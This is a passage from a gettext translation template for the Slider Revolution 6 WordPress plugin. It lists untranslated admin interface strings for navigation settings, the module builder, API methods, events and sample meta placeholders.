msgstr "" #: admin/views/builder-slider-forms.php:1216 msgid "Fallback Settings" msgstr "" #: admin/views/builder-slider-forms.php:1218 msgid "Simplify on IOS4 / IE8" msgstr "" #: admin/views/builder-slider-forms.php:1220 msgid "Alt. Image" msgstr "" #: admin/views/builder-slider-forms.php:1221 #: admin/views/builder-nav-forms.php:831 #: admin/views/builder-layer-forms.php:240 msgid "Off" msgstr "" #: admin/views/builder-slider-forms.php:1222 msgid "On Mobile" msgstr "" #: admin/views/builder-slider-forms.php:1223 msgid "On IE8" msgstr "" #: admin/views/builder-slider-forms.php:1224 msgid "On Mobile and IE8" msgstr "" #: admin/views/builder-slider-forms.php:1228 msgid "Image URL" msgstr "" #: admin/views/builder-slider-forms.php:1228 #: admin/views/builder-slide-forms.php:56 msgid "Enter Image URL" msgstr "" #: admin/views/builder-slider-forms.php:1236 msgid "jQuery & OutPut Filters" msgstr "" #: admin/views/builder-slider-forms.php:1238 msgid "jQuery No Conflict Mode" msgstr "" #: admin/views/builder-slider-forms.php:1239 msgid "Put JS to Body" msgstr "" #: admin/views/builder-slider-forms.php:1243 msgid "Output Filter" msgstr "" #: admin/views/builder-slider-forms.php:1245 msgid "By Compressing Output" msgstr "" #: admin/views/builder-slider-forms.php:1246 msgid "By Echo Output" msgstr "" #: admin/views/builder-slider-forms.php:1248 msgid "Debug Mode" msgstr "" #: admin/views/builder-slider-forms.php:1261 admin/views/modals-builder.php:74 #: admin/views/modals-builder.php:109 admin/views/modals-builder.php:141 msgid "Next Step" msgstr "" #: admin/views/modals-copyright.php:19 msgid "Copyright & Licensing - Slider Revolution Library" msgstr "" #: admin/views/builder-timeline.php:28 msgid "No Sticky Keyframes" msgstr "" #: admin/views/builder-timeline.php:29 msgid "Single Layer Sticky" msgstr "" #: admin/views/builder-timeline.php:30 msgid "Hierarchy Sticky" msgstr "" #: admin/views/builder-timeline.php:37 msgid "Set all Timings" msgstr "" #: admin/views/builder-timeline.php:70 msgid "Slide BG Animation" msgstr "" #: admin/views/builder-timeline.php:81 msgid "Global Layers Timeline" msgstr "" #: admin/views/builder-timeline.php:89 msgid "FREE POSITIONED LAYERS" msgstr "" #: admin/views/builder-nav-forms.php:18 admin/views/builder-slide-forms.php:23 #: admin/views/builder-slide-forms.php:559 msgid "Progress" msgstr "" #: admin/views/builder-nav-forms.php:19 admin/views/builder-nav-forms.php:53 #: admin/views/modals-builder.php:226 msgid "Arrows" msgstr "" #: admin/views/builder-nav-forms.php:20 admin/views/builder-nav-forms.php:246 #: admin/views/modals-builder.php:227 msgid "Bullets" msgstr "" #: admin/views/builder-nav-forms.php:21 admin/views/builder-nav-forms.php:391 #: admin/views/modals-builder.php:228 msgid "Tabs" msgstr "" #: admin/views/builder-nav-forms.php:22 admin/views/builder-nav-forms.php:575 #: admin/views/modals-builder.php:229 msgid "Thumbs" msgstr "" #: admin/views/builder-nav-forms.php:23 msgid "Prev Size" msgstr "" #: admin/views/builder-nav-forms.php:24 admin/views/builder-nav-forms.php:782 msgid "Touch" msgstr "" #: admin/views/builder-nav-forms.php:25 msgid "Keyboard" msgstr "" #: admin/views/builder-nav-forms.php:26 msgid "Mouse" msgstr "" #: admin/views/builder-nav-forms.php:27 msgid "Nav Editor" msgstr "" #: admin/views/builder-nav-forms.php:37 admin/views/builder-nav-forms.php:40 msgid "Progress Bar" msgstr "" #: admin/views/builder-nav-forms.php:43 admin/views/modals-builder.php:322 #: admin/views/builder-layer-forms.php:1170 #: admin/views/builder-layer-forms.php:1556 #: admin/views/builder-layer-forms.php:1562 msgid "Color" msgstr "" #: admin/views/builder-nav-forms.php:46 msgid "Height" msgstr "" #: admin/views/builder-nav-forms.php:56 admin/views/builder-nav-forms.php:60 #: admin/views/builder-nav-forms.php:249 admin/views/builder-nav-forms.php:252 #: admin/views/builder-nav-forms.php:253 admin/views/builder-nav-forms.php:400 #: admin/views/builder-nav-forms.php:401 admin/views/builder-nav-forms.php:583 #: admin/views/builder-nav-forms.php:584 admin/views/builder-layer-forms.php:29 #: admin/views/builder-layer-forms.php:502 msgid "Style" msgstr "" #: admin/views/builder-nav-forms.php:57 admin/views/builder-nav-forms.php:189 #: admin/views/builder-nav-forms.php:250 admin/views/builder-nav-forms.php:396 #: admin/views/builder-nav-forms.php:579 #: admin/views/builder-slide-forms.php:573 #: admin/views/builder-layer-forms.php:394 msgid "Visibility" msgstr "" #: admin/views/builder-nav-forms.php:58 admin/views/builder-nav-forms.php:76 msgid "Left Arrow" msgstr "" #: admin/views/builder-nav-forms.php:59 admin/views/builder-nav-forms.php:135 msgid "Right Arrow" msgstr "" #: admin/views/builder-nav-forms.php:61 msgid "Style on Slide" msgstr "" #: admin/views/builder-nav-forms.php:64 msgid "Arrow Type" msgstr "" #: admin/views/builder-nav-forms.php:68 msgid "Arrow Style" msgstr "" #: admin/views/builder-nav-forms.php:69 admin/views/builder-nav-forms.php:262 #: admin/views/builder-nav-forms.php:410 admin/views/builder-nav-forms.php:593 msgid "No Style" msgstr "" #: admin/views/builder-nav-forms.php:83 admin/views/builder-nav-forms.php:138 #: admin/views/builder-nav-forms.php:280 admin/views/builder-nav-forms.php:427 #: admin/views/builder-nav-forms.php:610 msgid "Aligned by" msgstr "" #: admin/views/builder-nav-forms.php:85 admin/views/builder-nav-forms.php:140 #: admin/views/builder-nav-forms.php:282 admin/views/builder-nav-forms.php:429 msgid "Module Dimension" msgstr "" #: admin/views/builder-nav-forms.php:95 admin/views/builder-nav-forms.php:149 #: admin/views/builder-nav-forms.php:291 admin/views/builder-nav-forms.php:447 #: admin/views/builder-nav-forms.php:630 #: admin/views/builder-layer-forms.php:442 msgid "Alignment" msgstr "" #: admin/views/builder-nav-forms.php:124 admin/views/builder-nav-forms.php:177 #: admin/views/builder-nav-forms.php:324 admin/views/builder-nav-forms.php:513 #: admin/views/builder-nav-forms.php:695 msgid "From Left" msgstr "" #: admin/views/builder-nav-forms.php:125 admin/views/builder-nav-forms.php:178 #: admin/views/builder-nav-forms.php:325 admin/views/builder-nav-forms.php:514 #: admin/views/builder-nav-forms.php:696 msgid "From Right" msgstr "" #: admin/views/builder-nav-forms.php:126 admin/views/builder-nav-forms.php:179 #: admin/views/builder-nav-forms.php:326 admin/views/builder-nav-forms.php:515 #: admin/views/builder-nav-forms.php:697 msgid "From Top" msgstr "" #: admin/views/builder-nav-forms.php:127 admin/views/builder-nav-forms.php:180 #: admin/views/builder-nav-forms.php:327 admin/views/builder-nav-forms.php:516 #: admin/views/builder-nav-forms.php:698 msgid "From Bottom" msgstr "" #: admin/views/builder-nav-forms.php:128 admin/views/builder-nav-forms.php:181 #: admin/views/builder-nav-forms.php:328 admin/views/builder-nav-forms.php:517 #: admin/views/builder-nav-forms.php:699 msgid "Zoom In" msgstr "" #: admin/views/builder-nav-forms.php:129 admin/views/builder-nav-forms.php:182 #: admin/views/builder-nav-forms.php:329 admin/views/builder-nav-forms.php:518 #: admin/views/builder-nav-forms.php:700 msgid "Zoom Out" msgstr "" #: admin/views/builder-nav-forms.php:192 admin/views/builder-nav-forms.php:334 #: admin/views/builder-nav-forms.php:522 admin/views/builder-nav-forms.php:704 msgid "RTL Direction" msgstr "" #: admin/views/builder-nav-forms.php:193 admin/views/builder-nav-forms.php:331 #: admin/views/builder-nav-forms.php:520 admin/views/builder-nav-forms.php:702 msgid "Show Speed" msgstr "" #: admin/views/builder-nav-forms.php:194 admin/views/builder-nav-forms.php:332 #: admin/views/builder-nav-forms.php:521 admin/views/builder-nav-forms.php:703 msgid "Show Delay" msgstr "" #: admin/views/builder-nav-forms.php:196 admin/views/builder-nav-forms.php:336 #: admin/views/builder-nav-forms.php:524 admin/views/builder-nav-forms.php:706 msgid "Show Always" msgstr "" #: admin/views/builder-nav-forms.php:205 admin/views/builder-nav-forms.php:345 #: admin/views/builder-nav-forms.php:533 admin/views/builder-nav-forms.php:717 msgid "Hide Under" msgstr "" #: admin/views/builder-nav-forms.php:210 admin/views/builder-nav-forms.php:350 #: admin/views/builder-nav-forms.php:538 admin/views/builder-nav-forms.php:722 msgid "Hide Over" msgstr "" #: admin/views/builder-nav-forms.php:217 admin/views/builder-nav-forms.php:357 msgid "Navigation Style" msgstr "" #: admin/views/builder-nav-forms.php:224 admin/views/builder-nav-forms.php:364 #: admin/views/builder-nav-forms.php:552 admin/views/builder-nav-forms.php:736 msgid "Global Style Presets" msgstr "" #: admin/views/builder-nav-forms.php:227 admin/views/builder-nav-forms.php:367 #: admin/views/builder-nav-forms.php:554 admin/views/builder-nav-forms.php:738 msgid "Preset" msgstr "" #: admin/views/builder-nav-forms.php:228 admin/views/builder-nav-forms.php:368 #: admin/views/builder-nav-forms.php:555 admin/views/builder-nav-forms.php:739 msgid "Load" msgstr "" #: admin/views/builder-nav-forms.php:236 admin/views/builder-nav-forms.php:377 #: admin/views/builder-nav-forms.php:563 admin/views/builder-nav-forms.php:747 msgid "Override Style on Slide" msgstr "" #: admin/views/builder-nav-forms.php:257 msgid "Bullets Type" msgstr "" #: admin/views/builder-nav-forms.php:261 msgid "Bullets Style" msgstr "" #: admin/views/builder-nav-forms.php:271 msgid "Gap" msgstr "" #: admin/views/builder-nav-forms.php:272 admin/views/builder-nav-forms.php:419 #: admin/views/builder-nav-forms.php:602 msgid "Orientation" msgstr "" #: admin/views/builder-nav-forms.php:274 admin/views/builder-nav-forms.php:421 #: admin/views/builder-nav-forms.php:604 admin/views/builder-nav-forms.php:794 #: admin/views/builder-layer-forms.php:1280 msgid "Horizontal" msgstr "" #: admin/views/builder-nav-forms.php:275 admin/views/builder-nav-forms.php:422 #: admin/views/builder-nav-forms.php:605 admin/views/builder-nav-forms.php:795 #: admin/views/builder-layer-forms.php:1275 msgid "Vertical" msgstr "" #: admin/views/builder-nav-forms.php:319 msgid "Bullets Visibility" msgstr "" #: admin/views/builder-nav-forms.php:395 admin/views/builder-nav-forms.php:578 msgid "Main Style" msgstr "" #: admin/views/builder-nav-forms.php:398 admin/views/builder-nav-forms.php:478 #: admin/views/builder-nav-forms.php:581 admin/views/builder-nav-forms.php:659 msgid "Size" msgstr "" #: admin/views/builder-nav-forms.php:399 admin/views/builder-nav-forms.php:495 #: admin/views/builder-nav-forms.php:582 admin/views/builder-nav-forms.php:677 msgid "Wrapper" msgstr "" #: admin/views/builder-nav-forms.php:405 msgid "Tabs Type" msgstr "" #: admin/views/builder-nav-forms.php:409 msgid "Tabs Style" msgstr "" #: admin/views/builder-nav-forms.php:435 admin/views/builder-nav-forms.php:618 msgid "Inner / Outer" msgstr "" #: admin/views/builder-nav-forms.php:437 admin/views/builder-nav-forms.php:620 msgid "Inner" msgstr "" #: admin/views/builder-nav-forms.php:438 admin/views/builder-nav-forms.php:621 msgid "Outer Vertical" msgstr "" #: admin/views/builder-nav-forms.php:439 admin/views/builder-nav-forms.php:622 msgid "Outer Horizontal" msgstr "" #: admin/views/builder-nav-forms.php:471 admin/views/builder-nav-forms.php:654 msgid "Visible amount" msgstr "" #: admin/views/builder-nav-forms.php:503 admin/views/builder-nav-forms.php:685 msgid "Span" msgstr "" #: admin/views/builder-nav-forms.php:508 msgid "Tabs Visibility" msgstr "" #: admin/views/builder-nav-forms.php:545 admin/views/builder-nav-forms.php:729 msgid "Style Global" msgstr "" #: admin/views/builder-nav-forms.php:588 msgid "Thumb Type" msgstr "" #: admin/views/builder-nav-forms.php:592 msgid "Thumbs Style" msgstr "" #: admin/views/builder-nav-forms.php:690 msgid "Thumbs Visibility" msgstr "" #: admin/views/builder-nav-forms.php:760 msgid "Nav Image Dimensions" msgstr "" #: admin/views/builder-nav-forms.php:763 msgid "Preview Image" msgstr "" #: admin/views/builder-nav-forms.php:767 admin/views/builder-slide-forms.php:88 msgid "Image from Stream if exists" msgstr "" #: admin/views/builder-nav-forms.php:779 msgid "Swipe Settings" msgstr "" #: admin/views/builder-nav-forms.php:785 msgid "Mobile Swipe Enabled" msgstr "" #: admin/views/builder-nav-forms.php:786 msgid "Desktop Swipe Enabled" msgstr "" #: admin/views/builder-nav-forms.php:787 msgid "Block Scroll" msgstr "" #: admin/views/builder-nav-forms.php:789 msgid "Velocity" msgstr "" #: admin/views/builder-nav-forms.php:790 msgid "Min. Finger" msgstr "" #: admin/views/builder-nav-forms.php:792 msgid "Swipe Dir" msgstr "" #: admin/views/builder-nav-forms.php:804 msgid "Keyboard Settings" msgstr "" #: admin/views/builder-nav-forms.php:807 msgid "Keyboard Arrow Navigation" msgstr "" #: admin/views/builder-nav-forms.php:813 msgid "Left/Right Arrow Keys" msgstr "" #: admin/views/builder-nav-forms.php:814 msgid "Up/Down Arrow Keys" msgstr "" #: admin/views/builder-nav-forms.php:822 msgid "Mouse Scroll Settings" msgstr "" #: admin/views/builder-nav-forms.php:825 msgid "Mouse Scroll Navigation" msgstr "" #: admin/views/builder-nav-forms.php:830 #: admin/views/builder-layer-forms.php:240 msgid "On" msgstr "" #: admin/views/builder-nav-forms.php:835 msgid "Reverse Scroll" msgstr "" #: admin/views/builder-nav-forms.php:837 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Reverse" msgstr "" #: admin/views/header.php:127 msgid "Please Wait..." msgstr "" #: admin/views/modals-builder.php:20 msgid "Module Creation Guide" msgstr "" #: admin/views/modals-builder.php:27 msgid "" "This Guide will help you with the basic configuration *
            of your Slider " "Revolution 6 Module." msgstr "" #: admin/views/modals-builder.php:29 msgid "Start Guide" msgstr "" #: admin/views/modals-builder.php:31 msgid "Quit Guide" msgstr "" #: admin/views/modals-builder.php:38 msgid "" "* All settings adjusted by the guide can be changed later.
            Click the " "Help Icon to find options & documentation" msgstr "" #: admin/views/modals-builder.php:70 admin/views/modals-builder.php:105 #: admin/views/modals-builder.php:137 admin/views/modals-builder.php:181 msgid "Previous Step" msgstr "" #: admin/views/modals-builder.php:72 msgid "Module Type" msgstr "" #: admin/views/modals-builder.php:107 msgid "Module Dimensions" msgstr "" #: admin/views/modals-builder.php:139 msgid "Responisvity" msgstr "" #: admin/views/modals-builder.php:142 admin/views/modals-builder.php:185 msgid "Go to Editor" msgstr "" #: admin/views/modals-builder.php:183 msgid "Customization" msgstr "" #: admin/views/modals-builder.php:201 msgid "Layer Import" msgstr "" #: admin/views/modals-builder.php:208 msgid "Import Selected Layers" msgstr "" #: admin/views/modals-builder.php:222 msgid "Navigation Editor" msgstr "" #: admin/views/modals-builder.php:224 msgid "Save Navigation" msgstr "" #: admin/views/modals-builder.php:232 msgid "Factory Skins" msgstr "" #: admin/views/modals-builder.php:237 msgid "Add New Navigation " msgstr "" #: admin/views/modals-builder.php:269 admin/views/builder-slide-forms.php:510 msgid "Class" msgstr "" #: admin/views/modals-builder.php:294 msgid "CSS" msgstr "" #: admin/views/modals-builder.php:294 msgid "Markup" msgstr "" #: admin/views/modals-builder.php:300 msgid "Markup Meta" msgstr "" #: admin/views/modals-builder.php:301 msgid "Slide Title" msgstr "" #: admin/views/modals-builder.php:302 msgid "Slide Description" msgstr "" #: admin/views/modals-builder.php:303 admin/views/builder-slide-forms.php:643 msgid "Parameter 1" msgstr "" #: admin/views/modals-builder.php:304 admin/views/builder-slide-forms.php:644 msgid "Parameter 2" msgstr "" #: admin/views/modals-builder.php:305 admin/views/builder-slide-forms.php:645 msgid "Parameter 3" msgstr "" #: admin/views/modals-builder.php:306 admin/views/builder-slide-forms.php:646 msgid "Parameter 4" msgstr "" #: admin/views/modals-builder.php:307 admin/views/builder-slide-forms.php:647 msgid "Parameter 5" msgstr "" #: admin/views/modals-builder.php:308 admin/views/builder-slide-forms.php:648 msgid "Parameter 6" msgstr "" #: admin/views/modals-builder.php:309 admin/views/builder-slide-forms.php:649 msgid "Parameter 7" msgstr "" #: admin/views/modals-builder.php:310 admin/views/builder-slide-forms.php:650 msgid "Parameter 8" msgstr "" #: admin/views/modals-builder.php:311 admin/views/builder-slide-forms.php:651 msgid "Parameter 9" msgstr "" #: admin/views/modals-builder.php:312 admin/views/builder-slide-forms.php:652 msgid "Parameter 10" msgstr "" #: admin/views/modals-builder.php:316 msgid "Meta Values" msgstr "" #: admin/views/modals-builder.php:318 msgid "Add New Meta" msgstr "" #: admin/views/modals-builder.php:321 msgid "Meta Config" msgstr "" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:532 msgid "Font Family" msgstr "" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:127 msgid "Icon" msgstr "" #: admin/views/modals-builder.php:352 admin/views/modals-builder.php:353 msgid "Can not be Empty" msgstr "" #: admin/views/modals-builder.php:353 msgid "Handle" msgstr "" #: admin/views/modals-builder.php:372 msgid "CSS/JS Editor" msgstr "" #: admin/views/modals-builder.php:372 msgid "CUSTOM CSS" msgstr "" #: admin/views/modals-builder.php:372 msgid "CUSTOM JS" msgstr "" #: admin/views/modals-builder.php:380 msgid "Methods" msgstr "" #: admin/views/modals-builder.php:382 msgid "Call this function to start the slider." msgstr "" #: admin/views/modals-builder.php:382 msgid "Start Slider" msgstr "" #: admin/views/modals-builder.php:388 msgid "Call this function to pause the slider." msgstr "" #: admin/views/modals-builder.php:394 msgid "Call this function to play the slider if it is paused." msgstr "" #: admin/views/modals-builder.php:394 msgid "Resume Slider" msgstr "" #: admin/views/modals-builder.php:400 msgid "Switch slider to previous slide." msgstr "" #: admin/views/modals-builder.php:406 msgid "Switch slider to next slide." msgstr "" #: admin/views/modals-builder.php:412 msgid "Scroll page under the slider." msgstr "" #: admin/views/modals-builder.php:412 msgid "External Scroll" msgstr "" #: admin/views/modals-builder.php:418 msgid "" "Remove One Slide with Slide Index from the Slider. Index starts with 0 which " "will remove the first slide." msgstr "" #: admin/views/modals-builder.php:418 msgid "Remove Slide" msgstr "" #: admin/views/modals-builder.php:424 admin/views/modals-builder.php:430 msgid "Switch to the slide which is defined as parameter." msgstr "" #: admin/views/modals-builder.php:424 msgid "Go To Slide" msgstr "" #: admin/views/modals-builder.php:430 msgid "Go To Slide with ID" msgstr "" #: admin/views/modals-builder.php:436 msgid "Get the amount of existing slides in the slider." msgstr "" #: admin/views/modals-builder.php:436 msgid "Max Slides" msgstr "" #: admin/views/modals-builder.php:442 msgid "Get the current focused slide index." msgstr "" #: admin/views/modals-builder.php:442 msgid "Current Slide" msgstr "" #: admin/views/modals-builder.php:448 msgid "Get the previously played slide." msgstr "" #: admin/views/modals-builder.php:454 msgid "" "Recalculate all positions, sizing etc in the slider. This should be called " "i.e. if Slider was invisible and becomes visible without any window resize " "event." msgstr "" #: admin/views/modals-builder.php:454 msgid "Redraw Slider" msgstr "" #: admin/views/modals-builder.php:460 msgid "" "Unbind all listeners, remove current animations and delete containers. Ready " "for Garbage collection." msgstr "" #: admin/views/modals-builder.php:460 msgid "Kill Slider" msgstr "" #: admin/views/modals-builder.php:469 admin/views/modals-builder.php:525 #: admin/views/modals-builder.php:607 msgid "Events" msgstr "" #: admin/views/modals-builder.php:471 msgid "Slider Loaded" msgstr "" #: admin/views/modals-builder.php:474 msgid "Slider swapped to an other slide" msgstr "" #: admin/views/modals-builder.php:475 msgid "Index of Current Slide" msgstr "" #: admin/views/modals-builder.php:475 msgid "Current
          • Index" msgstr "" #: admin/views/modals-builder.php:475 admin/views/modals-builder.php:493 #: admin/views/modals-builder.php:496 msgid "Current Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:475 msgid "Prev. Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:477 msgid "Slider paused" msgstr "" #: admin/views/modals-builder.php:478 msgid "Timer Paused" msgstr "" #: admin/views/modals-builder.php:480 msgid "Slider is Playing after pause" msgstr "" #: admin/views/modals-builder.php:481 msgid "Timer Resumed" msgstr "" #: admin/views/modals-builder.php:483 msgid "Video is playing in slider" msgstr "" #: admin/views/modals-builder.php:484 msgid "Video is playing" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video API" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "youtube, vimeo, html5" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video Settings" msgstr "" #: admin/views/modals-builder.php:486 msgid "Video stopped in slider" msgstr "" #: admin/views/modals-builder.php:487 msgid "Video is stopped" msgstr "" #: admin/views/modals-builder.php:489 msgid "Slider reached the 'stop at' slide" msgstr "" #: admin/views/modals-builder.php:490 msgid "Slider Stopped" msgstr "" #: admin/views/modals-builder.php:492 msgid "Prepared for slide change" msgstr "" #: admin/views/modals-builder.php:493 msgid "Slider Before Swap" msgstr "" #: admin/views/modals-builder.php:493 msgid "Coming Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:495 msgid "Finnished with slide change" msgstr "" #: admin/views/modals-builder.php:496 msgid "Slider After Swap" msgstr "" #: admin/views/modals-builder.php:496 msgid "Previous Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:498 msgid "Last slide starts" msgstr "" #: admin/views/modals-builder.php:499 msgid "Last Slide Started, Slider is at the end" msgstr "" #: admin/views/modals-builder.php:501 msgid "Layer Events" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer Action (enterstage, enteredstage, leavestage,leftstage)" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer Type (image,video,html)" msgstr "" #: admin/views/modals-builder.php:502 msgid "Default Settings for Layer" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer as jQuery Object" msgstr "" #: admin/views/modals-builder.php:520 msgid "Meta Datas" msgstr "" #: admin/views/modals-builder.php:522 msgid "Basic" msgstr "" #: admin/views/modals-builder.php:526 admin/views/modals-builder.php:630 msgid "Social" msgstr "" #: admin/views/modals-builder.php:535 msgid "Basic Metas" msgstr "" #: admin/views/modals-builder.php:536 msgid "Link to current page" msgstr "" #: admin/views/modals-builder.php:536 msgid "http://yoursite.com/page" msgstr "" #: admin/views/modals-builder.php:537 msgid "Link to WP Home Page" msgstr "" #: admin/views/modals-builder.php:537 msgid "http://yoursite.com/home" msgstr "" #: admin/views/modals-builder.php:544 msgid "Post Basics" msgstr "" #: admin/views/modals-builder.php:546 msgid "Any custom meta tag" msgstr "" #: admin/views/modals-builder.php:546 msgid "Custom Meta" msgstr "" #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 msgid "Post Title" msgstr "" #: admin/views/modals-builder.php:548 msgid "Post Excerpt" msgstr "" #: admin/views/modals-builder.php:548 admin/views/modals-builder.php:677 msgid "" "Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy." msgstr "" #: admin/views/modals-builder.php:549 msgid "Post Alias" msgstr "" #: admin/views/modals-builder.php:550 msgid "Post Content" msgstr "" #: admin/views/modals-builder.php:550 admin/views/modals-builder.php:551 #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:635 #: admin/views/modals-builder.php:636 admin/views/modals-builder.php:637 msgid "" "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." msgstr "" #: admin/views/modals-builder.php:551 admin/views/modals-builder.php:636 msgid "Post content limit by words" msgstr "" #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:637 msgid "Post content limit by chars" msgstr "" #: admin/views/modals-builder.php:557 msgid "Post Details" msgstr "" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "The link to the post" msgstr "" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "http://yoursite.com/post" msgstr "" #: admin/views/modals-builder.php:559 admin/views/modals-builder.php:639 #: admin/views/modals-builder.php:646 admin/views/modals-builder.php:653 msgid "Date created" msgstr "" #: admin/views/modals-builder.php:559 msgid "05.03.2018" msgstr "" #: admin/views/modals-builder.php:560 msgid "Date modified" msgstr "" #: admin/views/modals-builder.php:560 msgid "04.03.2018" msgstr "" #: admin/views/modals-builder.php:561 msgid "Author name" msgstr "" #: admin/views/modals-builder.php:561 admin/views/modals-builder.php:640 msgid "John Doe" msgstr "" #: admin/views/modals-builder.php:562 msgid "Author Avatar URL(size in px)" msgstr "" #: admin/views/modals-builder.php:562 msgid "http://yoursite/media/avatar.jpg" msgstr "" #: admin/views/modals-builder.php:563 msgid "Author Website" msgstr "" #: admin/views/modals-builder.php:563 msgid "http://yoursite/user/page" msgstr "" #: admin/views/modals-builder.php:564 msgid "Author Posts Page" msgstr "" #: admin/views/modals-builder.php:564 msgid "http://yoursite/user/post" msgstr "" #: admin/views/modals-builder.php:569 msgid "Post Categories, Tags and Comments" msgstr "" #: admin/views/modals-builder.php:570 msgid "Number of comments" msgstr "" #: admin/views/modals-builder.php:570 msgid "20" msgstr "" #: admin/views/modals-builder.php:571 msgid "List of categories with links" msgstr "" #: admin/views/modals-builder.php:571 admin/views/modals-builder.php:572 msgid "Category1, Category2, Category3" msgstr "" #: admin/views/modals-builder.php:572 msgid "List of categories without links" msgstr "" #: admin/views/modals-builder.php:573 msgid "List of tags with links" msgstr "" #: admin/views/modals-builder.php:573 msgid "Tag1, Tag2, Tag3" msgstr "" #: admin/views/modals-builder.php:580 msgid "WooCommerce Basics" msgstr "" #: admin/views/modals-builder.php:581 msgid "Categories" msgstr "" #: admin/views/modals-builder.php:581 msgid "WC Category1, WC Category2" msgstr "" #: admin/views/modals-builder.php:582 msgid "WC Tag 1, WC Tag 2, WC Tag 3" msgstr "" #: admin/views/modals-builder.php:583 msgid "Add to Cart URL" msgstr "" #: admin/views/modals-builder.php:583 msgid "http://yoursite.com/addtocart.php" msgstr "" #: admin/views/modals-builder.php:584 msgid "Add to Cart Button" msgstr "" #: admin/views/modals-builder.php:584 msgid "Add To Cart" msgstr "" #: admin/views/modals-builder.php:587 msgid "WooCommerce Prices" msgstr "" #: admin/views/modals-builder.php:588 msgid "Full Price" msgstr "" #: admin/views/modals-builder.php:588 admin/views/modals-builder.php:589 msgid "$9.99" msgstr "" #: admin/views/modals-builder.php:589 msgid "Single Price" msgstr "" #: admin/views/modals-builder.php:590 msgid "Single Price without currency" msgstr "" #: admin/views/modals-builder.php:590 msgid "9.99" msgstr "" #: admin/views/modals-builder.php:593 msgid "WooCommerce Stock" msgstr "" #: admin/views/modals-builder.php:594 msgid "457819" msgstr "" #: admin/views/modals-builder.php:595 msgid "In Stock" msgstr "" #: admin/views/modals-builder.php:595 msgid "5" msgstr "" #: admin/views/modals-builder.php:596 msgid "Package" msgstr "" #: admin/views/modals-builder.php:599 msgid "WooCommerce Ratings" msgstr "" #: admin/views/modals-builder.php:600 msgid "Number of Ratings" msgstr "" #: admin/views/modals-builder.php:600 msgid "47" msgstr "" #: admin/views/modals-builder.php:601 msgid "Number of Reviews" msgstr "" #: admin/views/modals-builder.php:601 msgid "13" msgstr "" #: admin/views/modals-builder.php:602 msgid "Text Rating" msgstr "" #: admin/views/modals-builder.php:602 msgid "9" msgstr "" #: admin/views/modals-builder.php:603 msgid "Star Rating" msgstr "" #: admin/views/modals-builder.php:603 msgid "38" msgstr "" #: admin/views/modals-builder.php:610 msgid "Event Basics" msgstr "" #: admin/views/modals-builder.php:611 msgid "Event start date" msgstr "" #: admin/views/modals-builder.php:611 msgid "14.09.2019" msgstr "" #: admin/views/modals-builder.php:612 msgid "Event end date" msgstr "" #: admin/views/modals-builder.php:612 msgid "17.09.2019" msgstr "" #: admin/views/modals-builder.php:613 msgid "Event start time" msgstr "" #: admin/views/modals-builder.php:613 msgid "21:00" msgstr "" #: admin/views/modals-builder.php:614 msgid "Event end time" msgstr "" #: admin/views/modals-builder.php:614 msgid "14:00" msgstr "" #: admin/views/modals-builder.php:615 msgid "Event ID" msgstr "" #: admin/views/modals-builder.php:615 msgid "EQH-1879" msgstr "" #: admin/views/modals-builder.php:618 msgid "Event Location" msgstr "" #: admin/views/modals-builder.php:619 msgid "Event location name" msgstr "" #: admin/views/modals-builder.php:619 msgid "Music Hall" msgstr "" #: admin/views/modals-builder.php:620 msgid "Event location slug" msgstr "" #: admin/views/modals-builder.php:620 msgid "Concert" msgstr "" #: admin/views/modals-builder.php:621 msgid "Event location address" msgstr "" #: admin/views/modals-builder.php:621 msgid "East 32th Street between Park & Lexington Avn " msgstr "" #: admin/views/modals-builder.php:622 msgid "Event location town" msgstr "" #: admin/views/modals-builder.php:622 msgid "Los Angeles" msgstr "" #: admin/views/modals-builder.php:623 msgid "Event location state" msgstr "" #: admin/views/modals-builder.php:623 msgid "US" msgstr "" #: admin/views/modals-builder.php:624 msgid "Event location postcode" msgstr "" #: admin/views/modals-builder.php:624 msgid "EX 87 TNT" msgstr "" #: admin/views/modals-builder.php:625 msgid "Event location region" msgstr "" #: admin/views/modals-builder.php:625 msgid "Orange Country" msgstr "" #: admin/views/modals-builder.php:626 msgid "Event location country" msgstr "" #: admin/views/modals-builder.php:626 msgid "USA" msgstr "" #: admin/views/modals-builder.php:633 msgid "Social Basics (Flickr, Instagram, Twitter, Facebook, YouTube)" msgstr "" #: admin/views/modals-builder.php:635 msgid "Post content" msgstr "" #: admin/views/modals-builder.php:639 admin/views/modals-builder.php:646 #: admin/views/modals-builder.php:653 admin/views/modals-builder.php:661 #: admin/views/modals-builder.php:669 admin/views/modals-builder.php:678 #: admin/views/modals-builder.php:684 msgid "08.03.2018" msgstr "" #: admin/views/modals-builder.php:640 msgid "Username" msgstr "" #: admin/views/modals-builder.php:645 msgid "Flickr Extras" msgstr "" #: admin/views/modals-builder.php:647 msgid "Views" msgstr "" #: admin/views/modals-builder.php:647 msgid "24" msgstr "" #: admin/views/modals-builder.php:652 msgid "Instagramm Extras" msgstr "" #: admin/views/modals-builder.php:654 admin/views/modals-builder.php:671 #: admin/views/modals-builder.php:685 msgid "Number of Likes" msgstr "" #: admin/views/modals-builder.php:654 msgid "12" msgstr "" #: admin/views/modals-builder.php:655 admin/views/modals-builder.php:687 msgid "Number of Comments" msgstr "" #: 